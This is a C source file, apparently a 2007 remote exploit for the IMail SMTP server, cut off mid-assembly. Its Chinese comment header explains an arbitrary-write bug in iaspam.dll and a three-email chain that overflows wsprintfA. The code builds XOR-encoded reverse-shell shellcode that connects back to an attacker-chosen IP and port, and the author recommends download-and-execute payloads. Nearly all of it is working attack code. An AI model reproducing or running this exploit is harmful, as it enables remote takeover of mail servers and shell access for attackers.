/*
by axis
2007-06-05
以前有这个一个imail的exp
PRIVATE Remote Exploit For IMAIL Smtp Server(1.2)
This is For imail 8.01-8.11 version
Usage:faint.exe -d <host> [options]
Options:
-d: Hostname to attack [Required]
-t: Type [Default: 0]
-p: Attack port [Default: 25]
-S: the IP connect back to.
-P: the port connect back to.
Types:
0: win2k All version , IMail 8.01-11
不知道是哪位大牛写的
最近看了看,
非常好玩的一个漏洞。
漏洞是发生在iaspam.dll里
loc_1001ada5 ==> 注意动态调试时候注意加载基址的不同。
mov eax, [ebp+var_54]
mov ecx, [eax+10c8h]
push ecx ; char *
mov edx, [ebp+var_54]
mov eax, [edx+10d0h]
push eax ; char *
call _strcpy
add esp, 8
jmp loc_1001a6f0
这里strcpy的两个buffer,src和dst的指针,居然是直接从堆里读出来的。
而之前没有做任何检查
所以发送个邮件到服务器,SMD文件
然后在其后的偏移处控制这两个地址,就可以拷贝任意字符串到任意内存。
badchar是 0x00 0x0a emm说还有个 0x25,不过我没找到。
以前网上那个反连的版本,是利用了覆盖peb里的指针。
这种方法在2003上不能用。
这里我采用了emm的方法,构造了一个溢出
因为imailsec.dll的.data段可写。
所以我找到了这么一个地方
1000CB5D 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
1000CB60 50 PUSH EAX
1000CB61 8B0D 6C540310 MOV ECX,DWORD PTR DS:[1003546C] ; IMailsec.1003549C
1000CB67 51 PUSH ECX
1000CB68 8D95 FCFDFFFF LEA EDX,DWORD PTR SS:[EBP-204]
1000CB6E 52 PUSH EDX
1000CB6F FF15 F8D30210 CALL DWORD PTR DS:[<&USER32.wsprintfA>] ; USER32.wsprintfA
其中指针DWORD PTR DS:[1003546C] 在imailsec.dll的.data中,这个地址可以被我们覆盖。
所以我们就可以构造一个溢出。
思路如下:
第一封邮件: 发送shellcode到内存中保存好。这里我放到了teb中
第二封邮件: 发送溢出需要的覆盖字符串到内存中保存好。这里我也放在了teb中
第三封邮件: 覆盖imailsec.dll中的 .data段的指针,使wsprintfA造成溢出
溢出覆盖使用的字符串是第二封邮件发送过去的,覆盖后的返回地址直接指向了第一封邮件发送过去的shellcode在内存中的地址。
所以这个漏洞是和平台无关的!!不需要任何opcode!!
在实际利用时我发送了4封邮件,第一封是废邮件,用于提高成功率。
由于互联网的spam泛滥,所以等到邮件服务器处理漏洞邮件时,也许已经过了几个月了。。。
所以最好的方案是使用download+exec 的shellcode。
这里给出一个比较烂的反连shellcode作为poc。
据emm说这个漏洞一直没补,只是高版本没有了。。。
*/
#include
<stdio.h>#include <stdlib.h>
#include <windows.h>
#include <winsock.h>
#include <io.h>
#pragma comment (lib,
"ws2_32") char *szEHLO = "HELO/r/n";char *szMF = "MAIL FROM <fucker@fuckimail.org>/r/n";
char *szRCPT = "RCPT TO: <postmaster>/r/n";
char *szDATA = "DATA/r/n";
char *szTIME = "Date: Thu, 1 Oct 2007 07:06:09 +0800/r/n";
char *szMIME = "MIME/r/n";
char *szEND = "./r/n";
char *szQUIT = "QUIT/r/n";
char *szCT = "Content-Type: multipart/boundary=";
char *szCTE = "Content-Transfer-Encoding:"; //#define SCaddr "/x50/xe7/x03/x10"
#define SCaddr "/x50/xc8/xfd/x7f"
#define Fuck_ptr "/x6c/x54/x03/x10" //0x1003546c
#define Teb_temp1 0x7ffdd050
#define Teb_temp2 0x7ffdd040
#define Teb_temp3 0x7ffdd030
unsigned
short port = 25;unsigned char payload[5000] = ""; #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90/
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
unsigned
char sh_Buff[2048];unsigned int sh_Len;
unsigned int Enc_key=0x99; //其实无关紧要,动态寻找
unsigned
char decode1[] =/*
00401004 . /EB 0E JMP SHORT encode.00401014
00401006 $ |5B POP EBX
00401007 . |4B DEC EBX
00401008 . |33C9 XOR ECX,ECX
0040100A . |B1 FF MOV CL,0FF
0040100C > |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
00401010 .^|E2 FA LOOPD SHORT encode.0040100C
00401012 . |EB 05 JMP SHORT encode.00401019
00401014 > /E8 EDFFFFFF CALL encode.00401006
*/
"/xEB/x0E/x5B/x4B/x33/xC9/xB1"
"/xFF" // shellcode size
"/x80/x34/x0B"
"/xB8" // xor byte
"/xE2/xFA/xEB/x05/xE8/xED/xFF/xFF/xFF";
unsigned
char decode2[] =/*
00406030 /EB 10 JMP SHORT 00406042
00406032 |5B POP EBX
00406033 |4B DEC EBX
00406034 |33C9 XOR ECX,ECX
00406036 |66:B9 6601 MOV CX,166
0040603A |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
0040603E ^|E2 FA LOOPD SHORT 0040603A
00406040 |EB 05 JMP SHORT 00406047
00406042 /E8 EBFFFFFF CALL 00406032
*/
"/xEB/x10/x5B/x4B/x33/xC9/x66/xB9"
"/x66/x01" // shellcode size
"/x80/x34/x0B"
"/xB8" // xor byte
"/xE2/xFA/xEB/x05/xE8/xEB/xFF/xFF/xFF"; // kernel32.dll functions index
#define _LoadLibraryA 0x00
#define _CreateProcessA 0x04
//#define _ExitProcess 0x08
#define _ExitThread 0x08
#define _WaitForSingleObject 0x0C
// ws2_32.dll functions index
#define _WSASocketA 0x10
#define _connect 0x14
#define _closesocket 0x18
//#define _WSAStartup 0x1C // functions number
#define _Knums 4
#define _Wnums 3 // Need functions
unsigned char functions[100][128] =
{ // [esi] stack layout
// kernel32 4 // 00 kernel32.dll
{"LoadLibraryA"}, // [esi]
{"CreateProcessA"}, // [esi+4]
{"ExitThread"}, // [esi+8]
//{"ExitProcess"},
//{"TerminateProcess"},
{"WaitForSingleObject"}, // [esi+12]
// ws2_32 3 // 01 ws2_32.dll
{"WSASocketA"}, // [esi+16]
{"connect"}, // [esi+20]
{"closesocket"}, // [esi+24]
//{"WSAStartup"}, // [esi+28]
{""},
}; void PrintSc(unsigned char *lpBuff, int buffsize);
void ShellCode(); // Get function hash
unsigned long hash(unsigned char *c)
{
unsigned long h=0;
while(*c)
{
h = ( ( h << 25 ) | ( h >> 7 ) ) + *c++;
}
return h;
} // get shellcode
void GetShellCode(char* ipstr, short port)
{
char *fnbgn_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";
char *fnend_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";
unsigned char *pSc_addr;
unsigned char pSc_Buff[2048];
unsigned int MAX_Sc_Len=0x2000;
unsigned long dwHash[100];
unsigned int dwHashSize;
unsigned
int l,i,j,k;char *p;
int ip;
// Get functions hash
for (i=0;;i++) {
if (functions[i][0] == '/x0') break;
dwHash[i]
= hash(functions[i]);//fprintf(stderr, "%.8X/t%s/n", dwHash[i], functions[i]);
}
dwHashSize = i*4;
// Deal with shellcode
pSc_addr = (unsigned char *)ShellCode;
for (k=0;k<MAX_Sc_Len;++k ) {
if(memcmp(pSc_addr+k,fnbgn_str, 8)==0) {
break;
}
}
pSc_addr+=(k+8); // start of the ShellCode
for (k=0;k<MAX_Sc_Len;++k) {
if(memcmp(pSc_addr+k,fnend_str, 8)==0) {
break;
}
}
sh_Len=k; // length of the ShellCode
memcpy(pSc_Buff, pSc_addr, sh_Len);
for(k=0; k<sh_Len; ++k)
{
if(memcmp(pSc_Buff+k, "/x68/x7F/x00/x00/x01", 5) == 0)
{
ip = inet_addr(ipstr);
p = (char*)&ip;
pSc_Buff[k+1] = p[0];
pSc_Buff[k+2] = p[1];
pSc_Buff[k+3] = p[2];
pSc_Buff[k+4] = p[3];
}
if(memcmp(pSc_Buff+k, "/x68/x02/x00/x00/x35", 5) == 0)
{
p = (char*)&port;
pSc_Buff[k+3] = p[1];
pSc_Buff[k+4] = p[0];
}
}
// Add functions hash
memcpy(pSc_Buff+sh_Len, (unsigned char *)dwHash, dwHashSize);
sh_Len += dwHashSize;
//printf("%d bytes shellcode/n", sh_Len);
// print shellcode
//PrintSc(pSc_Buff, sh_Len);
// find xor byte
for(i=0xff; i>0; i--)
{
l = 0;
for(j=0; j<sh_Len; j++)
{
if (
// ((pSc_Buff[j] ^ i) == 0x26) || //%
// ((pSc_Buff[j] ^ i) == 0x3d) || //=
// ((pSc_Buff[j] ^ i) == 0x3f) || //?
//((pSc_Buff[j] ^ i) == 0x40) || //@
((pSc_Buff[j] ^ i) == 0x00) ||
//((pSc_Buff[j] ^ i) == 0x3c) ||
//((pSc_Buff[j] ^ i) == 0x3e) ||
// ((pSc_Buff[j] ^ i) == 0x2f) ||
// ((pSc_Buff[j] ^ i) == 0x22) ||
// ((pSc_Buff[j] ^ i) == 0x2a) ||
//((pSc_Buff[j] ^ i) == 0x3a) ||
// ((pSc_Buff[j] ^ i) == 0x20) ||
((pSc_Buff[j] ^ i) == 0x25) ||
((pSc_Buff[j] ^ i) == 0x0D) ||
((pSc_Buff[j] ^ i) == 0x0A)
// ((pSc_Buff[j] ^ i) == 0x5C)
)
{
l++;
break;
};
}
if (l==0)
{
Enc_key = i;
//printf("Find XOR Byte: 0x%02X/n", i);
for(j=0; j<sh_Len; j++)
{
pSc_Buff[j] ^= Enc_key;
}
break; // break when found xor byte
}
}
// No xor byte found
if (l!=0){
//fprintf(stderr, "No xor byte found!/n");
sh_Len = 0;
}
else {
//fprintf(stderr, "Xor byte 0x%02X/n", Enc_key);
// encode
if (sh_Len > 0xFF) {
*(unsigned short *)&decode2[8] = sh_Len;
*(unsigned char *)&decode2[13] = Enc_key;
memcpy(sh_Buff, decode2,
sizeof(decode2)-1);memcpy(sh_Buff+sizeof(decode2)-1, pSc_Buff, sh_Len);
sh_Len += sizeof(decode2)-1;
}
else {
*(unsigned char *)&decode1[7] = sh_Len;
*(unsigned char *)&decode1[11] = Enc_key;
memcpy(sh_Buff, decode1,
sizeof(decode1)-1);memcpy(sh_Buff+sizeof(decode1)-1, pSc_Buff, sh_Len);
sh_Len += sizeof(decode1)-1;
}
}
} // print shellcode
void PrintSc(unsigned char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
printf(
"/* %d bytes *//n",buffsize);for(i=0;i<buffsize;i++)
{
if((i%16)==0)
if(i!=0)
printf("/"/n/"");
else
printf("/"");
sprintf(msg,"//x%.2X",lpBuff[i]&0xff);
for( p = msg, j=0; j < 4; p++, j++ )
{
if(isupper(*p))
printf("%c", _tolower(*p));
else
printf("%c", p[0]);
}
}
printf( "/";/n");
} // ShellCode function
void ShellCode()
{
__asm
{
PROC_BEGIN // C macro to begin proc
jmp sc_end
sc_start:
pop edi // Hash string start addr (esp -> edi)
// Get kernel32.dll base addr
mov eax, fs:0x30 // PEB
mov eax, [eax+0x0c] // PROCESS_MODULE_INFO
mov esi, [eax+0x1c] // InInitOrder.flink
lodsd // eax = InInitOrder.blink
mov ebp, [eax+8] // ebp = kernel32.dll base address
mov esi, edi // Hash string start addr -> esi
// Get function addr of kernel32
push _Knums
pop ecx
get_kernel32:
call GetProcAddress_fun
loop get_kernel32
// Get ws2_32.dll base addr
push 0x00003233
push 0x5f327377
push esp
call dword ptr [esi<